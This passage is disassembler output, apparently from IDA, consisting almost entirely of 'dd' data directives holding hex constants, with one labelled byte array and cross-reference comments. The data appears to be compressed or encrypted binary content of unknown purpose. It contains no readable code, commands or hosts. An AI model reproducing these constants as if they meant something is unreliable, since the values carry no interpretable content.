		dd 0B514A8FEh, 49034F15h, 71BD892h, 78DED02Ch, 240800A9h
		dd 0D0FD0FDCh, 3E00F84Eh, 8C7364D4h, 0E7ECD71h,	638FAB08h
		dd 0E0A38A87h, 1332E8D2h, 0C6470C0h, 3FCB2F3h, 0D6267DCh
		dd 1DD015ACh, 7301E2B3h, 50BB990Bh, 0FDF4ED46h,	4D7785h
		dd 0A1687E15h, 8E03C9BCh, 0ED399772h, 63880125h, 6FCF98D5h
		dd 6189DC40h, 0B5BE1C5Eh, 8BC9C004h, 72CE477Ah,	6E82ED0Fh
		dd 0DB24E07Ch, 0E9EF337h, 0F4635867h, 591714C0h, 250EDE7Fh
		dd 0BF371092h, 0C6294240h, 777484Fh, 642EA4E7h,	624B70CDh
		dd 8603F826h, 4A114716h, 0F763E02Fh, 0BCF832h, 0B68C18FCh
		dd 0AE0EA4C5h, 331D90B0h, 29C09941h, 0FFC4E5D9h, 1139005Dh
		dd 31680D38h, 0B7004E81h, 46D403EBh, 34BB46Fh, 6A4CA751h
		dd 0B180D033h, 1B98C0BBh, 4F28CF8h, 2CD27E0Bh, 0D642008Ah
		dd 0F1CD4BDh, 49EDBC4Eh, 484AA700h, 0C90F4452h,	0E09562BFh
		dd 0A30B1D38h, 6B2C0072h, 1044D70h, 12E4458Ch, 21FD0700h
		dd 5A283202h, 0BF4E0037h, 9EDA6B85h, 0AC009168h, 58D2AA40h
		dd 941C12h, 0FCDB50DEh,	7E8DDD9Dh, 372A3Fh, 0F23CDF83h
		dd 122D70C8h, 5BACCh, 32E09568h, 42006816h, 8AF56E6h, 0FFC3Ah
		dd 0CD3075F1h, 6D0EDAF4h, 0E6A63Eh, 0B5F7946Eh,	2D9818h
		dd 97CEBA7Eh, 0CB24FD20h, 4D9A9C00h, 54BEC321h,	4907394Eh
		dd 0BCA68480h, 246372F4h, 3FF8AC00h, 0A03594FDh, 311C006Eh
		dd 86B327C0h, 38004761h, 8FC88498h, 0D3F8B6h, 376422E3h
		dd 945AC33Eh, 32CEAA0Fh, 80B4291Bh, 0A0EAEB2Ch,	57FA1207h
		dd 0C0B21C09h, 8FFD2CBFh, 67005A43h, 0C1DFA803h, 1F801E34h
		dd 0C3C765F4h, 9122EA90h, 29BE38F8h, 68C09A03h,	88CE26BFh
		dd 5B525Ch, 0B5EF5EC5h,	66BDA59h, 584A48h, 6D955DD3h, 1A54CFh
		dd 9D4EF060h, 0B87AA92Ah, 0AE4152Ch, 6D49AA00h,	0E62870C3h
		dd 82DC001Eh, 1FE2F9B4h, 2A001044h, 1ADF77ABh, 713A84EFh
		dd 0DFD00B7h, 0B14A70FCh, 0EC003EA0h, 8442DC73h, 1FD2C35Ch
		dd 0C132236Bh, 6865F57h, 0F800F7E1h, 0CFAB5D13h, 7271F80Dh
		dd 8E3738B1h, 0EAF4C003h, 508F2679h, 54666D7h, 1CFFA900h
		dd 5AA44CDDh, 9AD7B0Ah,	0A73E360Fh, 72DF401h, 0F8D68034h
		dd 0C46A25DBh, 0EBE900FBh, 4D69E433h, 6E007141h, 0B2374A88h
		dd 0EE2DC29h, 94EF2B2Fh, 0E100EB09h, 6474DDC6h,	0A1ADA901h
		dd 17951EF8h, 0A0B36BE0h, 394ED7DCh, 0C08043FBh, 4DD6A585h
		dd 592C2002h, 0E68E6CB8h, 40CD0FA4h, 0AE6F8C4Bh, 9064FFF3h
		dd 855E0EDDh, 0CE0F502h, 0D0AFB46h, 4FDCC750h, 308642F8h
		dd 7EB04053h, 0A1000E48h, 307A8E15h, 1916421h, 0C38D1FF4h
		dd 2001ABA0h, 283E74F4h, 6541008Ah, 9E34DA1Bh, 7F0E01C9h
		dd 0DE31DDADh, 4535E440h, 0F052A100h, 38516CCh,	53FC0054h
		dd 0ECF742A7h, 9C00488Ch, 918E18CAh, 0C0D5321Ch, 54B60AF8h
		dd 223E27C2h, 80CD39D8h, 2F3AA4E1h, 74BFB10h, 598DA7EEh
		dd 440FA0ECh, 0C601BBD1h, 0BA586C36h, 0D060E002h, 0FAA4EC59h
		dd 1D3700E4h, 7A05FDBFh, 0CC004877h, 2956983h, 18F0ACh
		dd 62C38164h, 0E3DCCE75h, 8B40E700h, 84E8AABCh,	24C10085h
		dd 51B8AD63h, 20C7E0C2h, 62108090h, 0D6F91Eh, 6D8E3B6h
		dd 0BC2A2129h, 47C47000h, 7930D2A0h, 0ED5F00A6h, 0AFDFCC04h
		dd 0E8CFEE4Fh, 0B49FE085h, 7D18E8Bh, 4880C7Bh, 6CA0EF52h
		dd 0AD588942h, 0B6AA7700h, 0D2F0C1CAh, 6123126h, 0F0F74980h
		dd 0F300BED3h, 36A8DD18h, 1805EFCh, 0CA783AAFh,	0E074B770h
		dd 45017E4Bh, 501E55D4h, 898865EDh, 3CACE99Fh, 88D55804h
		dd 3DC47090h, 332C0086h, 99E426C5h, 7616EC83h, 4B0048F1h
		dd 88419BBDh, 6BFE0094h, 0B8FAC919h, 0D07A2C63h, 21DF4A00h
		dd 0F0C3AA2Bh, 4C202DEh, 73D2F911h, 0B87F5CE0h,	5F140B18h
		dd 6A4111h, 74AB8021h, 5CAD6EA4h, 48856324h, 0F7806D9Eh
		dd 2C1D8CDFh, 0A77A05E5h, 0C039F5A8h, 633FB2Bh,	0E2F6C8C1h
		dd 36804AE3h, 7713D16Bh, 7F007D6Fh, 65E8BCD6h, 71486Ah
		dd 0F18E2CCBh, 70DAEBDBh, 0C46EF200h, 15D4D80Eh, 1C0C7A6Bh
		dd 977B9874h, 0A3C0092h, 994B1224h, 2B328505h, 0F890DDFAh
		dd 1F661D1Fh, 803C95F1h, 51C6FF7Dh, 77072BEBh, 48A9412h
		dd 13C2DD20h, 0BA3170AAh, 0D9AF2EF0h, 6CBF40ECh, 6E01A1A7h
		dd 0E272FB7Fh, 8C405F77h, 105D732h, 90D4FC39h, 0DCEE740Ch
		dd 6F07AD4Fh, 0B2BE5D03h, 0C4AB0FF3h, 2F2BF080h, 64665C15h
		dd 42D15600h, 38C0EC23h, 82B0A200h, 401B880Dh, 0AA763B8Dh
		dd 0E50020DCh, 9DA3EA51h, 3A0070E6h, 338C555Fh,	0DF8E73h
		dd 75CFAAF4h, 8960B564h, 2BBB0D00h, 0CB126501h,	7A950056h
		dd 9A94E820h, 1300C770h, 96EEC44h, 503ED550h, 1EB49703h
		dd 0A2CD26h, 0CFA586BEh, 0D50BD0C8h, 726148h, 105AAA18h
		dd 7FCD0015h, 0E59570C4h, 3D240797h, 0D70080C6h, 0B47E6773h
		dd 35A93CFCh, 0ED022607h, 0EEF0E03Bh, 0CB001A8Dh, 7A3AC532h
		dd 98B114FAh, 0F2D4E018h, 0F6E0040h, 0E18410B8h, 18900ACDh
		dd 80E8A326h, 2CBC8C80h, 18EFF9B1h, 0C1178647h,	70003E1Ah
		dd 0F2C1AA23h, 28BD418Dh, 0B02E8Fh, 5F9AF833h, 88F33D2Ah
		dd 733EF502h, 8013AA75h, 817A09ACh, 11ECC1A9h, 20A79984h
		dd 0D1EC9B4h, 459E58C0h, 6E6D1980h, 614C851h, 290A1D7Eh
		dd 405A05Dh, 0D61F58Ch,	2BC1F800h, 7ECF6Ah, 0F757C462h
		dd 97DE5D1Ch, 0F6840901h, 0F3DFE963h, 0F42D4860h, 715500E0h
		dd 0DC1A5A7Eh, 0DB704811h, 0EFB2E40Bh, 0A6DC00C3h, 7FAE67h
		dd 0BBD9B75Eh, 9639B4E2h, 0A4BC0A0Fh, 0AF862132h, 0E6F0AB73h
		dd 0E27D25h, 4176A7C7h,	22440CB5h, 0BB771E00h, 0EB8A057Dh
		dd 1B3105DCh, 900497E7h, 0DB2EB760h, 2000E373h,	0A23544E6h
		dd 0B9C061h, 4B36D01Bh,	2EA082C7h, 6C2A8103h, 0F85449CFh
		dd 26D4973Ch, 2BBBE3Dh,	0A4AD56D5h, 0C26D3FC0h,	0AF0160B0h
		dd 27B5A261h, 99EF3CCEh, 82804055h, 8FA46FEDh, 1A0077C0h
		dd 3C97AC87h, 0BA97827h, 0E615C4FCh, 372E7C00h,	501C81BCh
		dd 0EEC0BA0Bh, 0BF44661Ah, 0F2A32EF3h, 0CAAB1EC0h, 30F0B632h
		dd 0BF65628Ah, 4B39900h, 0FFDFC472h, 103E0322h,	5345D605h
		dd 4195A3E0h, 0CB00D098h, 0FE55FB1Bh, 725943h, 6BB165D1h
		dd 40140C35h, 5B62C03h,	0F8FD3E64h, 59F517C6h, 7510802Bh
		dd 0CC070053h, 0DF55EF0Ch, 8ABB0046h, 0C4A30E7Dh, 0E8C08234h
		dd 3168D183h, 0DDDA0E48h, 42E03263h, 2165034Ah,	4C730500h
		dd 352C5A53h, 0F46E000Dh, 71292EBAh, 0AFE409B5h, 8F792838h
		dd 0E91BC05Eh, 6EB90007h, 0AE6649h, 0FC8AB35Ah,	168B28DAh
		dd 57105300h, 0ED7C36C3h, 52131C81h, 0CDAB40B2h, 0A7AEEAEBh
		dd 0E3CA5B1Fh, 0DB96FF40h, 3A1DDFBFh, 3E857B51h, 0C344E2A5h
		dd 6190D9B3h, 373845ADh, 0F89BB0D1h, 54DAB8Bh, 102E0C96h
		dd 888C014Ch, 381605C5h, 878B2C6Ch, 23E59107h, 0A8300D01h
		dd 2C70C6h, 0AB5BD2FBh,	39E15AACh
		db 0Eh
byte_530055	db 0D5h, 40h, 1Bh	; DATA XREF: ___:off_43859Co
					; ___:off_4385B4o
		dd 0BF81C03Dh, 3C982h, 88012131h, 3F9A99B9h, 0A91011E6h
		dd 660076DDh, 0FAB06116h, 0AC0006B2h, 0BD6F8CDh, 0BE7949h
		dd 7F2EFC4Ch, 11677004h, 9E176E1Dh, 0E740231Eh,	0CD5E8877h
		dd 1EE6ECEFh, 81E170C6h, 0DB8C0F50h, 0C1D1CF46h, 0ECF9401Ah
		dd 6F002D3Fh, 0E42E6825h, 0CD13B0h, 47A7711Fh, 0B4F416CFh
		dd 0E2C05Ch, 0C4F79CAFh, 0B739EA8h, 2CE97F3Eh, 18C58D01h
		dd 0D72880E4h, 0C1217158h, 0CC9976h, 62B6BC25h,	0D30999AEh
		dd 8FCEA9C7h, 4AAAC046h, 11F036Ch, 0E73145FBh, 0F046C91Eh
		dd 2D006824h, 0E19D7F1Bh, 38C1D71h, 0ECC678C1h,	85C00FE2h
		dd 0EB814DAh, 0BA7F8212h, 7A4A5840h, 1FD3EE0Ch,	801F1637h
		dd 31E458Fh, 0EC00B535h, 1A85927Dh, 5D770Eh, 0E50FCA74h
		dd 374E2DFCh, 80046E3Ah, 9485C4CDh, 3D41893h, 0EE786973h
		dd 0E0BFBDD0h, 80EB72C9h, 0E09A5A7Ch, 88D25B00h, 340F9522h
		dd 564638A5h, 202DFF98h, 2E015121h, 847B2080h, 0A8BEA7F3h
		dd 0F93190Bh, 0CD897CA0h, 630011C5h, 42CBC6B2h,	1315E8E4h
		dd 188834h, 19602B7Dh, 0C000163h, 65312E59h, 0C0393E69h
		dd 0A7FD8570h, 26003ACBh, 97630ACAh, 16BEFB4h, 0EB9A1BA4h
		dd 0D88EB5BDh, 37008D6Ah, 340BA31Fh, 3D22F63h, 9036CB5Ah
		dd 803E7D23h, 1A0F0ACAh, 8500509Ah, 0E6E5A62Eh,	0E0FD009Dh
		dd 72DE9216h, 48E36EEAh, 0C92ADB84h, 3407C4BDh,	0D75649DDh
		dd 0EC0C0791h, 0B5F171F5h, 0EEDAC9Eh, 21808E36h, 0B7814C15h
		dd 0F2A6A300h, 0AE1EBE09h, 0A541007Ah, 5391C559h, 8503B3C3h
		dd 0B4B94A06h, 4397D883h, 0C820003Eh, 59416A77h, 3D0068D9h
		dd 72AAA167h, 972FB4h, 0B5CF612Dh, 0D3D85D02h, 206DD500h
		dd 3F956B96h, 9A721EDBh, 0A614802Ah, 667151EFh,	0C3F8B100h
		dd 959FB664h, 0F2813082h, 2856A6E1h, 4D5BBB00h,	0BDDA35B5h
		dd 0A0270088h, 0DB9D8607h, 0FC58ECCBh, 1ABC0C9Ch, 54923958h
		dd 3A4FEh, 8835C569h, 75765CBAh, 3597B4Ch, 9701896Dh, 932819F9h
		dd 0E8D231E1h, 2601BA4Dh, 0D70D2B46h, 1D308DF4h, 0C5F900F7h
		dd 0CD91D827h, 7000A77Dh, 0B913C9DAh, 90542C68h, 0DC840086h
		dd 91CBDED5h, 82FE4B18h, 8B653B0Fh, 3F017EE4h, 36515A89h
		dd 72B2E4h, 0A818854Ch,	59C093A4h, 80315201h, 913DE15Bh
		dd 22C95C24h, 6000F492h, 3821BE75h, 130D16Bh, 7D9D706Fh
		dd 30FB9C45h, 0E0008911h, 67BD23B2h, 0EDF86A7h,	108F5D9Ah
		dd 0E6F2ADE0h, 0F5002926h, 0D0F16C5Bh, 1B6474h,	18B109E9h
		dd 53DCDE5Ch, 9561E001h, 5FB21E96h, 31177EECh, 25383BC4h
		dd 9241803Ch, 0CB3795D5h, 211F00D0h, 0A90FB112h, 5900E330h
		dd 560D9EEEh, 7F52E6Ch,	903A9327h, 90430744h, 31BAED7Ah
		dd 0DE1F8674h, 47C1336Eh, 6DF753D5h, 5C7618Dh, 0BDE74008h
		dd 0DC002D0Dh, 1B598168h, 0B2398Dh, 0F54E108h, 2AED8509h
		dd 0F53DF53Eh, 0DCA17700h, 2576BBE2h, 5151C120h, 20B845C1h
		dd 0D9F4B00Bh, 0FA509600h, 0ED7768D8h, 63D14CEEh, 19C82F00h
		dd 512E1B04h, 41C324E8h, 5579B5h, 1DB50D1h, 0A568F27Fh
		dd 0BE3F3Dh, 0BA90D369h, 0C0848E81h, 27488929h,	0B679FA56h
		dd 597EFF00h, 0A10F9B40h, 4249006Ah, 0BEA77C7Dh, 3400E5EEh
		dd 13E2F504h, 0A92E5EDBh, 1E106BB8h, 0B80048A2h, 0E42B2DEFh
		dd 33DC633h, 0E0E131DEh, 73E1C73Ah, 501ED15Fh, 0BAA1429Ch
		dd 9B0AE504h, 0DE80544Ch, 0FD34BEBh, 32C60B76h,	0C77EBE2Eh
		dd 80C58E4Eh, 2CE2F421h, 803B023Fh, 0CAA2B7B5h,	0CE9188h
		dd 0F46845A5h, 1FC3508Fh, 65671300h, 0B99B4635h, 0CC4200ACh
		dd 0F4EC5B1Ch, 6AF8A3E3h, 1808D907h, 37400EEAh,	30697A6Fh
		dd 0E3185BF9h, 0F47833B1h, 6D215703h, 0C03150A3h, 3719FAFh
		dd 549116FCh, 9300EE8h,	87CF2135h, 0CA670371h, 0EF93DEBEh
		dd 340669B6h, 5C3D6979h, 318F6C10h, 48C2860h, 16FD7194h
		dd 1CE38A9h, 0D576719Ch, 83189913h, 433EA049h, 14E7F01Ch
		dd 0C3041E22h, 0BC2C058h, 1E2F8E42h, 77D5F81Ch,	0D816DC47h
		dd 0B93D9930h, 90BEF5FEh, 8F035BA0h, 796F92E8h,	0B6F3A0CEh
		dd 0BA8101E2h, 0CA08DFD7h, 2D94E046h, 61005EEAh, 3D96A5ACh
		dd 8D5B99h, 241908D8h, 0C24CF43Fh, 0AC3B8628h, 0AB36DE00h
		dd 0C9844821h, 0D29200F6h, 8F2CF717h, 6500E116h, 0F4DF9061h
		dd 578345h, 1A7BD5F5h, 0B4789609h, 8FC8B80Ch, 603009ECh
		dd 0E1FA20F6h, 9505D996h, 0E20D3B12h, 7A5CB21Dh, 0C4015300h
		dd 528E9Fh, 0F1CABD35h,	0A5622690h, 43F094E8h, 765E6C06h
		dd 0F204405h, 0D5F4DCE3h, 8DEC3800h, 88C73A4Dh,	0DA50049Bh
		dd 1825E622h, 8FEFAE8h,	20C039A7h, 7B3AE3BAh, 8BA20081h
		dd 0DC4AFC5Bh, 80E983E8h, 0F6D15C9h, 266A82h, 8425014Ch
		dd 0A1F42E56h, 0F2C74A03h, 0A09CE136h, 66497659h, 807B903Fh
		dd 0CE0E91C8h, 22B045E0h, 448618D6h, 500D0A6h, 0C13B483Ah
		dd 14AF7B9h, 30C3C59Ah,	81D42041h, 0A86CF458h, 98C0C7FBh
		dd 0A8FA6FD3h, 89E3A28Eh, 0DDD4A5h, 954F3290h, 6B1D14D2h
		dd 4C00E119h, 3EA96E90h, 2381039Ah, 79FC7B0Eh, 0B5F5590Eh
		dd 5FD8E9E9h, 54057081h, 9C0898CEh, 0E10B21h, 0CBA26379h
		dd 22ED0AE0h, 0B290CD18h, 0C5EA470h, 0CABE28D9h, 1814F6F8h
		dd 8831EDh, 0C7829214h,	8149C3h, 0D14F01ACh, 0A5963290h
		dd 0D0A6F80Fh, 65401E54h, 0F9C5BD13h, 5ABF0099h, 9A0BD8FCh
		dd 33188388h, 0A428EF89h, 0B73F3C6Eh, 1213AE00h, 92E15064h
		dd 90043F8h, 838FBF1Bh,	0C1D68E37h, 1640430h, 60499EB7h
		dd 25099700h, 574CF9h, 0CC5615ABh, 0D6378453h, 6DB3Ch
		dd 12E00B68h, 1E761143h, 80ECD579h, 47D401Ah, 0C1009556h
		dd 25506C01h, 1B4E9D4h,	0D95A1B4Bh, 0C7EF47BCh,	83FCC5BFh
		dd 9000B5A4h, 0CD04C11h, 79659A96h, 0F0A94101h,	19C6EC64h
		dd 3DE081C5h, 48004ED0h, 45FCE4A6h, 0EEE2E3E7h,	0A9623F01h
		dd 91636C8Ch, 0A3542880h, 0D3575EB3h, 8AC89C18h, 276B41h
		dd 42B7DDF4h, 851B3AF2h, 0CD0CCC00h, 0DA72345Bh, 6A260CC0h
		dd 0B2B0C4C1h, 574E7E00h, 0F621B7E6h, 590A009Bh, 38D50511h
		dd 0B9005101h, 474C7D96h, 6F546Ch, 6BE41FCBh, 0EB0F5CF2h
		dd 0EE893401h, 0CA52B707h, 570048BAh, 0B3AA781Fh, 7CE25CDFh
		dd 38612700h, 0B8BA967Fh, 3FE80079h, 32C70147h,	431F4892h
		dd 0F244F606h, 0BFA0810Eh, 64C938BBh, 0E7B7F080h, 3C6B3D1h
		dd 6D9D7200h, 638E7466h, 22CD1E88h, 0DD5B024Dh,	0E6098ADh
		dd 92002BD5h, 0A9506D9Ah, 303BEA47h, 17B04F1Eh,	2B30E5BDh
		dd 0FC5E20CCh, 789F00BAh, 0EACED312h, 0C57ABB1Ch, 2F473E01h
		dd 622B57B6h, 0BED5F880h, 0B87E82F9h, 0E5480E01h, 0E6611EBFh
		dd 0F08BE0h, 3738E4B1h,	0CCB6105Fh, 0D0C10B1Dh,	486842C0h
		dd 4D49F3h, 2FC06A62h, 0F8D71A01h, 52EBB200h, 61D14604h
		dd 0BA29C05Bh, 0E9A6D645h, 0ADCBF506h, 340805C1h, 812040B7h
		dd 0E054C83Dh, 0DE00BF75h, 0FE4AACC2h, 0ECEAE3h, 0F6103A52h
		dd 1460C349h, 0B50F9F7Eh, 597FFFC8h, 698D5A70h,	0E008B189h
		dd 79039580h, 0EFF256AEh, 0C28962Bh, 85120AC9h,	0CF5CB040h
		dd 0B1EC328Eh, 0D74C30F8h, 3DE9A908h, 409464C9h, 0ED72187h
		dd 921F0065h, 791A77C7h, 0DC511BEEh, 90608728h,	0C380EF05h
		dd 3A6C4001h, 7C009F88h, 2F587A17h, 0AA0B3C28h,	0FF6E94h
		dd 0DDA37EF5h
		dd 4A6A0270h, 0EFD7B45Bh, 2A989B40h, 0A4E6D0EAh, 0B949C900h
		dd 0C375FC36h, 0EC200026h, 128332A2h, 500EBDDh,	9F270CC1h
		dd 0F726016h, 3447A010h, 8708C05Ch, 6C8F28C2h, 7892F900h
		dd 0D1827DD0h, 485F24Bh, 6C840FAh, 6341C386h, 36B8B998h
		dd 0D61E90E6h, 1700D7EEh, 0D9832E97h, 30470765h, 0C0F47435h
		dd 10F2C9AEh, 3FE31B3Eh, 4407F464h, 0EA6B2D28h,	71FDF8B0h
		dd 0B5E03110h, 80D0B708h, 0EA23A020h, 0CED7D72h, 0E8869775h
		dd 7E007818h, 0E6C45BD4h, 3188B9FEh, 4161F7ECh,	1D6D0CC9h
		dd 230739EAh, 0D18A08h,	0C2EA22A6h, 35008F59h, 0D389CDB2h
		dd 2067474Bh, 0A318C198h, 0AA584C3Eh, 1200E2Bh,	0CBE07808h
		dd 0D66B49BBh, 0BD3B9703h, 14D100Ch, 9247F779h,	0E4DED485h
		dd 783EB68Ch, 0E7DF802Bh, 0C4D284Fh, 611676A4h,	752C1868h
		dd 0E490148h, 3EE123E8h, 2061AE83h, 0FA2562B7h,	0E88600Ch
		dd 0AA47A46Ah, 0A2111502h, 0C5A32643h, 0CA44A82Eh, 0B63B3200h
		dd 3083E062h, 90482FF2h, 21039D0Ch, 0EAB310C0h,	3B7E9860h
		dd 8FE429h, 0AA34D2B2h,	1C849D55h, 9C0B2300h, 6873EB69h
		dd 0FB661E94h, 0FE3340C8h, 0B3A6FA18h, 56A73A00h, 67EE32E4h
		dd 0FF6F1C85h, 22C80046h, 0C7718FD3h, 1B005FEAh, 0EEABB71Eh
		dd 440E77h, 465349E6h, 6114A03Dh, 50BA9500h, 39776066h
		dd 3508CCADh, 5E001321h, 7B08B95h, 0B91F6h, 0CC668EE8h
		dd 0C25C0380h, 0CB850C1Ch, 82FE8Eh, 0F90161D2h,	404161B8h
		dd 609B334Bh, 1FF80D21h, 34538D03h, 0C143D979h,	4080EEF8h
		dd 3D44F224h, 6F0C3A2Ah, 803482F4h, 2E8003C0h, 979018F8h
		dd 92FE721Eh, 203B8F8Ch, 2EA80EC3h, 0BC8088A3h,	0CB3A57F9h
		dd 0D94DEC00h, 4BF6A179h, 66A3B041h, 583868EBh,	0C03169C8h
		dd 18D22E9Eh, 54656E07h, 80EE7055h, 0E936B5E2h,	1E080E0Bh
		dd 79800A0Eh, 6A3B1D33h, 5C4D8700h, 6674E1C8h, 6F513EFCh
		dd 19B52A18h, 9A3E5E01h, 563701FEh, 1342C37Ah, 0D3D4E9EDh
		dd 5AE840h, 0CEAAE45Ch,	0A6A38E06h, 565E5900h, 130CF766h
		dd 5D9600C7h, 48CC315Ah, 4474DDF0h, 2BCA5300h, 0AB3725EBh
		dd 59960047h, 0F6C96CEAh, 0F4004FACh, 0E245E7BDh, 7FFBB0h
		dd 47B8DF3Ah, 94D4B575h, 0E6D6800h, 69EDCD8Bh, 3F64774Bh
		dd 2D809627h, 893B0FC9h, 0FF30DAA0h, 577D408Bh,	0A2880380h
		dd 0E79733B1h, 14ED1800h, 0A8D421E3h, 437301ACh, 1C26CB3Bh
		dd 1000E746h, 5775339Bh, 935068h, 37BCA2DBh, 0E954D1Bh
		dd 6EDE6200h, 7ECF56D5h, 60BB6F94h, 0C0E8AA87h,	26FFEF15h
		dd 18DD557Ah, 0A7BA7940h, 6C3CCE2h, 0FCDB965Dh,	0B63BE188h
		dd 861A8012h, 45F9E990h, 8FE0057h, 71E2EB7Ch, 6200E85Ah
		dd 0B17048E5h, 0ECFF1222h, 245502A0h, 38201BCh,	0E31F6EE0h
		dd 7D6AD200h, 8785F2CCh, 73580069h, 8A50DF7h, 0BC00FEFAh
		dd 0FB65537Ah, 0CE26F403h, 4A007C18h, 5A09935Dh, 9ACFD100h
		dd 79C3BA58h, 0FC9C01EBh, 1328FA0h, 0F16EE06Bh,	0DF2B8B03h
		dd 0A820C8FDh, 0B840371Dh, 26603EC5h, 557F1B00h, 0A5217C0Fh
		dd 82CB731h, 0F1705F08h, 4F37001Ch, 9A445C69h, 0E002550h
		dd 2201F40Dh, 70AC0FFh,	1B11032Eh, 0F0C6C1E1h, 67E6E84Eh
		dd 0B402E506h, 12D8859Ah, 1FD2AC66h, 0FB0A40FDh, 41F4B760h
		dd 6A95CC18h, 95F5E88h,	0E77EBBD5h, 7F75680h, 320034AEh
		dd 6C4E9CCEh, 74FB8F2h,	87B5E8D9h, 3B6743D8h, 0A6B12000h
		dd 6156B47Bh, 0F8F73C22h, 8058961Eh, 0A2463612h, 0F518C5D6h
		dd 3C3006C4h, 2ABF0014h, 0AD89025Fh, 0F83ABBAEh, 213030C8h
		dd 28F7DAh, 0A5783BF2h,	68338EC4h, 0F892C103h, 0FBA27209h
		dd 81409847h, 304BFDD1h, 0CFC4E782h, 19ED2110h,	0C960B134h
		dd 43D0605Ch, 0C77C3600h, 0A98EC185h, 9A1C032Bh, 1A1BD871h
		dd 0F3346100h, 2C897037h, 16335CE7h, 1A3F0F75h,	0AE71842h
		dd 7BEAE0Eh, 0E5E9AFABh, 0C5AC413Ah, 8EBC45B5h,	7BB738h
		dd 0D4FE12D6h, 0B198000Ah, 62ABC80Fh, 100E3EEh,	0E6FC9A3Ch
		dd 9B191Eh, 30A4DFC6h, 4E2BAC8Ah, 0C2C38100h, 58D99D2h
		dd 295F30AAh, 0F6678E10h, 36ECE38h, 0F326610Bh,	8DE3E01Bh
		dd 184D58FBh, 2760420Fh, 48772943h, 0B932F3B0h,	0E61F1101h
		dd 0D15189D0h, 739F6CD8h, 2B7ACDh, 0B5CF295Ch, 0E27F3D53h
		dd 49C30303h, 0A915C680h, 22F06131h, 0F8910C48h, 54B8A69Dh
		dd 14A88B00h, 69BE497Dh, 64360126h, 24BC7029h, 41C1608Ch
		dd 0C86A3Bh, 0B884BEE2h, 8E2653h, 8D85B2B1h, 89F158ECh
		dd 0D6904E60h, 3C461Ah,	8BB38C43h, 2AD3BFA4h, 307673Ah
		dd 59554E3h, 808DA0E1h,	0A6720008h, 869D2E33h, 0C00844Fh
		dd 0E55CE087h, 0E46B22Ch, 66F9D5D3h, 77B415h, 61EBAEFBh
		dd 6B2F2C6Ch, 18188D60h, 3573F77h, 4C9B95E9h, 0C3E13524h
		dd 146DD09Fh, 0A0076600h, 0B6932D91h, 253107DAh, 0B01179E7h
		dd 80640954h, 0C0DE2900h, 874AE5B5h, 79B7E6F9h,	0D06E004Fh
		dd 0AA72C466h, 0F800DCCDh, 887694CCh, 1F4F02A3h, 8114E9D2h
		dd 28342747h, 51F3041h,	8C2D6D06h, 384A24h, 773806BCh
		dd 46B0EBE2h, 0ED98C800h, 0B195F4E6h, 28E90104h, 0BF700226h
		dd 0A6F770D1h, 0D9A0122Eh, 0AEC0AB1Dh, 439881CFh, 2D210074h
		dd 9D020AA8h, 85F0766Fh, 0E0363700h, 72DB94E5h,	161300D7h
		dd 7140B526h, 92033148h, 0DD5C3382h, 605ADA53h,	4D795Ch
		dd 68A105A2h, 65AB2FA9h, 0DBCFCE1Fh, 84D2BE87h,	969F5A30h
		dd 971C0175h, 439CC247h, 45B740E5h, 951412FCh, 18CA5A7h
		dd 1F21B653h, 2BE0B548h, 874C3041h, 0BB88EFC0h,	0D800CEE4h
		dd 120BB83Ah, 3906C7B4h, 0FC1CCCB5h, 0DD0F40B3h, 0CE928D8Ch
		dd 3BDC0101h, 8F4F6255h, 0D73E1080h, 0DE371AD4h, 518C0C31h
		dd 0AE20D8D6h, 91B30BB6h, 4B00B03Bh, 0DE2668C8h, 1C140350h
		dd 0F7D8DD18h, 1CB7069h, 0AA9A5FA1h, 0A8A59DD4h, 0FD0FED40h
		dd 827DF063h, 80D980DCh, 0E41C470Ch, 0ACB40CBEh, 9848F101h
		dd 6B2B901Ch, 6F0A4C43h, 382185DEh, 4080A440h, 396A7E55h
		dd 3B1E2BCCh, 0BF40B991h, 6FCE9581h, 0F5EB18B1h, 2879388Bh
		dd 76927700h, 0CFA5671Bh, 0DFB8006Fh, 0C3D81CA1h, 54004AB9h
		dd 9FE8E6F4h, 18408B0Dh, 28F9125Eh, 0E2004125h,	6EAF278Eh
		dd 23FF7Eh, 0BD9580EDh,	54BADF68h, 92A9E103h, 0A0B7CB38h
		dd 0AC1C35h, 0FD1D1067h, 5856B840h, 0F9267901h,	5FD245C1h
		dd 9491F0h, 403522D6h, 0A5DCFFA3h, 8018BCFFh, 0CB75377Eh
		dd 0B8A9E0h, 0BFC04381h, 0E353A03Eh, 0ACD4781Eh, 0B1AF1B00h
		dd 0FA37721h, 6CD74AD2h, 0D603B640h, 660061CCh,	42EA36BEh
		dd 0FA4081A3h, 91FC0EF9h, 264090F5h, 0EA6325E4h, 5EF810EAh
		dd 0B4491903h, 96AE29AAh, 32C8598h, 0FFC94DA9h,	0B4CDA819h
		dd 0DFE417F1h, 18D06018h, 54B8DEDh, 8E6D3C00h, 0FFCB1C28h
		dd 0B288A016h, 45CD033Fh, 0A9B1222Bh, 20EE4100h, 0C53D688h
		dd 0B278C325h, 0B6D8866Ch, 98027018h, 671AD1Fh,	6776E002h
		dd 0C16000DCh, 9AB8F726h, 4304AFEh, 0A8F6E0FAh,	524A852h
		dd 0B62100C4h, 3937A5C7h, 181858B0h, 91903F69h,	0B92D605Ah
		dd 0AAEBA568h, 309849DBh, 2E9E821h, 0AD0731B8h,	4FC15D85h
		dd 509BA1F1h, 0FA2BD060h, 62700043h, 0A3D687FBh, 0B100AD63h
		dd 55CA27B0h, 39EFB5F9h, 3F8F21E8h, 175FCED0h, 537A00D2h
		dd 9D86C760h, 59EA2200h
		dd 0F6A24433h, 2D710C82h, 11100DCEh, 5EF08F00h,	259F4F7h
		dd 5851FEBh, 41B880BFh,	8B2B4E81h, 0C8376A00h, 0F998D866h
		dd 0D0711FD6h, 0AF3B7DE9h, 0A0416180h, 0D32535C3h, 0B53A600h
		dd 269C69ABh, 19E0031h,	94EC9093h, 90A0139Bh, 0C7002A10h
		dd 6F473A48h, 1C8965h, 0CB2CBF51h, 31365364h, 6082CF00h
		dd 0A58F6DFBh, 39B0087h, 1481B9DCh, 3B0350C2h, 0D3801084h
		dd 0CC99B0A4h, 0E8A000EFh, 0A102D452h, 0D814853Dh, 3EB81ED5h
		dd 0A558F56h, 8E9B0057h, 65D9AAh, 14B2F68Fh, 6C01BF46h
		dd 0AD001AFCh, 16AFAE22h, 0E8D62F85h, 29691471h, 5D00FF34h
		dd 2D77C886h, 520F6EB7h, 80CF9CA1h, 0F0845B5Ah,	729E00F2h
